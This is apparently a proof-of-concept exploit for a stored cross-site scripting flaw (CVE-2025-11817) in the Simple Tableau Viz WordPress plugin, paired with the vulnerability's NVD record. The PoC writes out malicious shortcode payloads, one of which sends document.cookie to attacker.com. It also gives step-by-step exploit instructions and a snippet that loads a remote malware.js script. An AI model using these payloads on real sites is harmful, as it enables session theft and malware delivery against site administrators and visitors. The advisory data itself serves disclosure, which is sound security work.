CVE-2025-11817

<!-- PoC for CVE-2025-11817: Simple Tableau Viz Stored XSS --> <!-- Attacker creates a new post/page with contributor-level access and injects the following malicious shortcode --> [tableau url="http://attacker.com/malicious" viz="\" onmouseover=\"alert(document.cookie);\" data-x=""] <!-- Alternative PoC using script injection via shortcode attributes --> [tableau src="x\" onerror=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\" x=\""] <!-- Exploit flow: 1. Authenticate as contributor or higher role 2. Create a new post/page 3. Insert the malicious tableau shortcode with XSS payload in attributes 4. Submit post for review (or publish if author+) 5. When any user (including admin) views the post, JavaScript executes --> // JavaScript payload example that could be injected: var s = document.createElement('script'); s.src = 'https://attacker.com/malware.js'; document.head.appendChild(s);

{"cve": {"id": "CVE-2025-11817", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:33.403", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Tableau Viz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tableau' shortcode in all versions up to, and including, 2.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-tableau-viz/tags/2.0/simple-tableau-viz.php#L24", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/simple-tableau-viz/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dbd33d03-81ba-468e-9e25-fe9f13914dbd?source=cve", "source": "[email protected]"}]}}